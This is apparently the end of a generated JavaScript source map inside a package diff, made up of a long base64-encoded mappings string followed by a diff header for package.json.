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"}
|
package/package.json
CHANGED